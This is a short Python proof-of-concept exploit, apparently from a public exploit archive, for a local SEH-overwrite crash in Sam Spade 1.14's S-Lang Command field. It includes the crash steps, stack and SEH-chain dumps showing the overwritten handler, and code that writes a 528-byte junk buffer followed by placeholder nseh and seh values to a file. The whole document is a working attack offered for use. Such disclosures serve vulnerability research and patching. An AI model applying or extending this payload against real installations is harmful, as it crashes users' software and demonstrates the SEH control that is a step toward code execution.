#!/usr/bin/env python
# Exploit Title : Sam Spade 1.14 S-Lang Command Field SEH Overflow Crash PoC
# Discovery by : Nipun Jaswal
# Email : mail@nipunjaswal.info
# Discovery Date : 12/11/2015
# Vendor Homepage : http://samspade.org
# Software Link : http://www.majorgeeks.com/files/details/sam_spade.html
# Tested Version : 1.14
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS : Windows XP Professional SP2 x86 es
# Crash Point : Go to Tools > S-Lang Command> Enter the contents of 'sam_spade_slang_dos.txt' > OK , Note: Do Not Remove the round bracket
##########################################################################################
# -----------------------------------NOTES----------------------------------------------#
##########################################################################################
# And the Stack
#00FBFE80 41414141 AAAA
#00FBFE84 41414141 AAAA
#00FBFE88 42424242 BBBB Pointer to next SEH record
#00FBFE8C 43434343 CCCC SE handler
# After the execution of POC, the SEH chain looks like this:
#Address SE handler
#00FBFE88 43434343
#42424242 *** CORRUPT ENTRY ***
f = open("sam_spade_slang_dos.txt", "w")
Junk_a = "A"*528
nseh= "B" * 4
seh= "C" *4
f.write(Junk_a+nseh+seh)
f.close()
